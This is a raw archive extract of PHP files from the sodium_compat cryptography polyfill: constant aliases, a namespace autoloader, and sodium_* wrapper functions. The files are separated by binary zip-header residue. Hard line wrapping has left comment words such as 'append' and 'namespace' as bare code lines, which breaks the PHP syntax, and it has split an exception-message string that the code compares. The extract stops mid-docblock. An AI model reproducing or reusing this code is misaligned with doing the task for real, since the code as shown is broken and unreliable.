const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES;
const CRYPTO_AUTH_BYTES = ParagonIE_Sodium_Compat::CRYPTO_AUTH_BYTES;
const CRYPTO_AUTH_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_AUTH_KEYBYTES;
const CRYPTO_BOX_SEALBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_SEALBYTES;
const CRYPTO_BOX_SECRETKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES;
const CRYPTO_BOX_PUBLICKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES;
const CRYPTO_BOX_KEYPAIRBYTES =
ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES;
const CRYPTO_BOX_MACBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_MACBYTES;
const CRYPTO_BOX_NONCEBYTES =
ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES;
const CRYPTO_BOX_SEEDBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_SEEDBYTES;
const CRYPTO_KX_BYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_BYTES;
const CRYPTO_KX_SEEDBYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_SEEDBYTES;
const CRYPTO_KX_PUBLICKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_KX_PUBLICKEYBYTES;
const CRYPTO_KX_SECRETKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_KX_SECRETKEYBYTES;
const CRYPTO_GENERICHASH_BYTES =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES;
const CRYPTO_GENERICHASH_BYTES_MIN =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN;
const CRYPTO_GENERICHASH_BYTES_MAX =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX;
const CRYPTO_GENERICHASH_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES;
const CRYPTO_GENERICHASH_KEYBYTES_MIN =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN;
const CRYPTO_GENERICHASH_KEYBYTES_MAX =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX;
const CRYPTO_SCALARMULT_BYTES =
ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_BYTES;
const CRYPTO_SCALARMULT_SCALARBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_SCALARBYTES;
const CRYPTO_SHORTHASH_BYTES =
ParagonIE_Sodium_Compat::CRYPTO_SHORTHASH_BYTES;
const CRYPTO_SHORTHASH_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SHORTHASH_KEYBYTES;
const CRYPTO_SECRETBOX_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES;
const CRYPTO_SECRETBOX_MACBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES;
const CRYPTO_SECRETBOX_NONCEBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES;
const CRYPTO_SIGN_BYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES;
const CRYPTO_SIGN_SEEDBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SIGN_SEEDBYTES;
const CRYPTO_SIGN_PUBLICKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES;
const CRYPTO_SIGN_SECRETKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES;
const CRYPTO_SIGN_KEYPAIRBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SIGN_KEYPAIRBYTES;
const CRYPTO_STREAM_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_STREAM_KEYBYTES;
const CRYPTO_STREAM_NONCEBYTES =
ParagonIE_Sodium_Compat::CRYPTO_STREAM_NONCEBYTES;
PK	�[}B�AAIchat/sendMessage/pusher/vendor/paragonie/sodium_compat/lib/namespaced.phpnu�[���<?php

require_once dirname(dirname(__FILE__)) . '/autoload.php';

if (PHP_VERSION_ID < 50300) {
    return;
}

/*
 * This file is just for convenience, to allow developers to reduce
verbosity when
 * they add this project to their libraries.
 *
 * Replace this:
 *
 * $x =
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_encrypt(...$args);
 *
 * with this:
 *
 * use ParagonIE\Sodium\Compat;
 *
 * $x = Compat::crypto_aead_xchacha20poly1305_encrypt(...$args);
 */
spl_autoload_register(function ($class) {
    if ($class[0] === '\\') {
        $class = substr($class, 1);
    }
    $namespace = 'ParagonIE\\Sodium';
    // Does the class use the namespace prefix?
    $len = strlen($namespace);
    if (strncmp($namespace, $class, $len) !== 0) {
        // no, move to the next registered autoloader
        return false;
    }

    // Get the relative class name
    $relative_class = substr($class, $len);

    // Replace the namespace prefix with the base directory, replace
namespace
    // separators with directory separators in the relative class name,
append
    // with .php
    $file = dirname(dirname(__FILE__)) . '/namespaced/' .
str_replace('\\', '/', $relative_class) .
'.php';
    // if the file exists, require it
    if (file_exists($file)) {
        require_once $file;
        return true;
    }
    return false;
});
PK	�[��ma�a�Jchat/sendMessage/pusher/vendor/paragonie/sodium_compat/lib/php72compat.phpnu�[���<?php

require_once dirname(dirname(__FILE__)) . '/autoload.php';

/**
 * This file will monkey patch the pure-PHP implementation in place of the
 * PECL functions and constants, but only if they do not already exist.
 *
 * Thus, the functions or constants just proxy to the appropriate
 * ParagonIE_Sodium_Compat method or class constant, respectively.
 */
foreach (array(
    'BASE64_VARIANT_ORIGINAL',
    'BASE64_VARIANT_ORIGINAL_NO_PADDING',
    'BASE64_VARIANT_URLSAFE',
    'BASE64_VARIANT_URLSAFE_NO_PADDING',
    'CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_ABYTES',
    'CRYPTO_AEAD_AES256GCM_KEYBYTES',
    'CRYPTO_AEAD_AES256GCM_NSECBYTES',
    'CRYPTO_AEAD_AES256GCM_NPUBBYTES',
    'CRYPTO_AEAD_AES256GCM_ABYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES',
    'CRYPTO_AUTH_BYTES',
    'CRYPTO_AUTH_KEYBYTES',
    'CRYPTO_BOX_SEALBYTES',
    'CRYPTO_BOX_SECRETKEYBYTES',
    'CRYPTO_BOX_PUBLICKEYBYTES',
    'CRYPTO_BOX_KEYPAIRBYTES',
    'CRYPTO_BOX_MACBYTES',
    'CRYPTO_BOX_NONCEBYTES',
    'CRYPTO_BOX_SEEDBYTES',
    'CRYPTO_KDF_BYTES_MIN',
    'CRYPTO_KDF_BYTES_MAX',
    'CRYPTO_KDF_CONTEXTBYTES',
    'CRYPTO_KDF_KEYBYTES',
    'CRYPTO_KX_BYTES',
    'CRYPTO_KX_KEYPAIRBYTES',
    'CRYPTO_KX_PRIMITIVE',
    'CRYPTO_KX_SEEDBYTES',
    'CRYPTO_KX_PUBLICKEYBYTES',
    'CRYPTO_KX_SECRETKEYBYTES',
    'CRYPTO_KX_SESSIONKEYBYTES',
    'CRYPTO_GENERICHASH_BYTES',
    'CRYPTO_GENERICHASH_BYTES_MIN',
    'CRYPTO_GENERICHASH_BYTES_MAX',
    'CRYPTO_GENERICHASH_KEYBYTES',
    'CRYPTO_GENERICHASH_KEYBYTES_MIN',
    'CRYPTO_GENERICHASH_KEYBYTES_MAX',
    'CRYPTO_PWHASH_SALTBYTES',
    'CRYPTO_PWHASH_STRPREFIX',
    'CRYPTO_PWHASH_ALG_ARGON2I13',
    'CRYPTO_PWHASH_ALG_ARGON2ID13',
    'CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_MEMLIMIT_MODERATE',
    'CRYPTO_PWHASH_OPSLIMIT_MODERATE',
    'CRYPTO_PWHASH_MEMLIMIT_SENSITIVE',
    'CRYPTO_PWHASH_OPSLIMIT_SENSITIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE',
    'CRYPTO_SCALARMULT_BYTES',
    'CRYPTO_SCALARMULT_SCALARBYTES',
    'CRYPTO_SHORTHASH_BYTES',
    'CRYPTO_SHORTHASH_KEYBYTES',
    'CRYPTO_SECRETBOX_KEYBYTES',
    'CRYPTO_SECRETBOX_MACBYTES',
    'CRYPTO_SECRETBOX_NONCEBYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX',
    'CRYPTO_SIGN_BYTES',
    'CRYPTO_SIGN_SEEDBYTES',
    'CRYPTO_SIGN_PUBLICKEYBYTES',
    'CRYPTO_SIGN_SECRETKEYBYTES',
    'CRYPTO_SIGN_KEYPAIRBYTES',
    'CRYPTO_STREAM_KEYBYTES',
    'CRYPTO_STREAM_NONCEBYTES',
    'LIBRARY_MAJOR_VERSION',
    'LIBRARY_MINOR_VERSION',
    'LIBRARY_VERSION_MAJOR',
    'LIBRARY_VERSION_MINOR',
    'VERSION_STRING'
    ) as $constant
) {
    if (!defined("SODIUM_$constant") &&
defined("ParagonIE_Sodium_Compat::$constant")) {
        define("SODIUM_$constant",
constant("ParagonIE_Sodium_Compat::$constant"));
    }
}
if (!is_callable('sodium_add')) {
    /**
     * @see ParagonIE_Sodium_Compat::add()
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    function sodium_add(&$val, $addv)
    {
        ParagonIE_Sodium_Compat::add($val, $addv);
    }
}
if (!is_callable('sodium_base642bin')) {
    /**
     * @see ParagonIE_Sodium_Compat::bin2base64()
     * @param string $string
     * @param int $variant
     * @param string $ignore
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_base642bin($string, $variant, $ignore ='')
    {
        return ParagonIE_Sodium_Compat::base642bin($string, $variant,
$ignore);
    }
}
if (!is_callable('sodium_bin2base64')) {
    /**
     * @see ParagonIE_Sodium_Compat::bin2base64()
     * @param string $string
     * @param int $variant
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_bin2base64($string, $variant)
    {
        return ParagonIE_Sodium_Compat::bin2base64($string, $variant);
    }
}
if (!is_callable('sodium_bin2hex')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_bin2hex($string)
    {
        return ParagonIE_Sodium_Compat::bin2hex($string);
    }
}
if (!is_callable('sodium_compare')) {
    /**
     * @see ParagonIE_Sodium_Compat::compare()
     * @param string $a
     * @param string $b
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_compare($a, $b)
    {
        return ParagonIE_Sodium_Compat::compare($a, $b);
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_aes256gcm_decrypt($message, $assocData,
$nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt($message,
$assocData, $nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_aes256gcm_encrypt($message, $assocData,
$nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message,
$assocData, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_is_available')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available()
     * @return bool
     */
    function sodium_crypto_aead_aes256gcm_is_available()
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available();
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_decrypt'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_chacha20poly1305_decrypt($message,
$assocData, $nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt($message,
$assocData, $nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_encrypt'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_chacha20poly1305_encrypt($message,
$assocData, $nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt($message,
$assocData, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_aead_chacha20poly1305_keygen()
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen();
    }
}
if
(!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_decrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if
(!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_encrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key);
    }
}
if
(!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_keygen'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_keygen()
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen();
    }
}
if
(!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key, true);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if
(!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key, true);
    }
}
if
(!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_keygen'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_keygen()
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen();
    }
}
if (!is_callable('sodium_crypto_auth')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth()
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_auth($message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth($message, $key);
    }
}
if (!is_callable('sodium_crypto_auth_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_auth_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_auth_keygen();
    }
}
if (!is_callable('sodium_crypto_auth_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_verify()
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message,
$key);
    }
}
if (!is_callable('sodium_crypto_box')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box($message, $nonce, $kp)
    {
        return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $kp);
    }
}
if (!is_callable('sodium_crypto_box_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_keypair()
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_box_keypair();
    }
}
if
(!is_callable('sodium_crypto_box_keypair_from_secretkey_and_publickey'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey()
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_keypair_from_secretkey_and_publickey($sk,
$pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($sk,
$pk);
    }
}
if (!is_callable('sodium_crypto_box_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_open()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string|bool
     */
    function sodium_crypto_box_open($message, $nonce, $kp)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_open($message,
$nonce, $kp);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_box_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey()
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_publickey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_publickey($keypair);
    }
}
if (!is_callable('sodium_crypto_box_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_publickey_from_secretkey($sk)
    {
        return
ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($sk);
    }
}
if (!is_callable('sodium_crypto_box_seal')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal()
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_seal($message, $publicKey)
    {
        return ParagonIE_Sodium_Compat::crypto_box_seal($message,
$publicKey);
    }
}
if (!is_callable('sodium_crypto_box_seal_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $kp
     * @return string|bool
     * @throws SodiumException
     */
    function sodium_crypto_box_seal_open($message, $kp)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_seal_open($message,
$kp);
        } catch (SodiumException $ex) {
            if ($ex->getMessage() === 'Argument 2 must be
CRYPTO_BOX_KEYPAIRBYTES long.') {
                throw $ex;
            }
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_box_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_secretkey()
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_secretkey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_secretkey($keypair);
    }
}
if (!is_callable('sodium_crypto_box_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seed_keypair()
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_seed_keypair($seed)
    {
        return ParagonIE_Sodium_Compat::crypto_box_seed_keypair($seed);
    }
}
if (!is_callable('sodium_crypto_generichash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash()
     * @param string $message
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash($message, $key = null, $outLen = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash($message, $key,
$outLen);
    }
}
if (!is_callable('sodium_crypto_generichash_final')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_final()
     * @param string|null $ctx
     * @param int $outputLength
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_final(&$ctx, $outputLength = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx,
$outputLength);
    }
}
if (!is_callable('sodium_crypto_generichash_init')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_init()
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_init($key = null, $outLen = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_init($key,
$outLen);
    }
}
if (!is_callable('sodium_crypto_generichash_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_generichash_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_keygen();
    }
}
if (!is_callable('sodium_crypto_generichash_update')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_update()
     * @param string|null $ctx
     * @param string $message
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_update(&$ctx, $message =
'')
    {
        ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $message);
    }
}
if (!is_callable('sodium_crypto_kdf_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kdf_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kdf_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_kdf_keygen();
    }
}
if (!is_callable('sodium_crypto_kdf_derive_from_key')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key()
     * @param int $subkey_len
     * @param int $subkey_id
     * @param string $context
     * @param string $key
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kdf_derive_from_key($subkey_len, $subkey_id,
$context, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key(
            $subkey_len,
            $subkey_id,
            $context,
            $key
        );
    }
}
if (!is_callable('sodium_crypto_kx')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kx()
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_kx($my_secret, $their_public, $client_public,
$server_public)
    {
        return ParagonIE_Sodium_Compat::crypto_kx(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }
}
if (!is_callable('sodium_crypto_kx_seed_keypair')) {
    /**
     * @param string $seed
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_seed_keypair($seed)
    {
        return ParagonIE_Sodium_Compat::crypto_kx_seed_keypair($seed);
    }
}
if (!is_callable('sodium_crypto_kx_keypair')) {
    /**
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_kx_keypair();
    }
}
if (!is_callable('sodium_crypto_kx_client_session_keys')) {
    /**
     * @param string $keypair
     * @param string $serverPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    function sodium_crypto_kx_client_session_keys($keypair,
$serverPublicKey)
    {
        return
ParagonIE_Sodium_Compat::crypto_kx_client_session_keys($keypair,
$serverPublicKey);
    }
}
if (!is_callable('sodium_crypto_kx_server_session_keys')) {
    /**
     * @param string $keypair
     * @param string $clientPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    function sodium_crypto_kx_server_session_keys($keypair,
$clientPublicKey)
    {
        return
ParagonIE_Sodium_Compat::crypto_kx_server_session_keys($keypair,
$clientPublicKey);
    }
}
if (!is_callable('sodium_crypto_kx_secretkey')) {
    /**
     * @param string $keypair
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_secretkey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_kx_secretkey($keypair);
    }
}
if (!is_callable('sodium_crypto_kx_publickey')) {
    /**
     * @param string $keypair
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_publickey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_kx_publickey($keypair);
    }
}
if (!is_callable('sodium_crypto_pwhash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @param int|null $algo
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit,
$memlimit, $algo = null)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash($outlen, $passwd,
$salt, $opslimit, $memlimit, $algo);
    }
}
if (!is_callable('sodium_crypto_pwhash_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd,
$opslimit, $memlimit);
    }
}
if (!is_callable('sodium_crypto_pwhash_str_needs_rehash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash()
     * @param string $hash
     * @param int $opslimit
     * @param int $memlimit
     * @return bool
     *
     * @throws SodiumException
     */
    function sodium_crypto_pwhash_str_needs_rehash($hash, $opslimit,
$memlimit)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash($hash, $opslimit,
$memlimit);
    }
}
if (!is_callable('sodium_crypto_pwhash_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify()
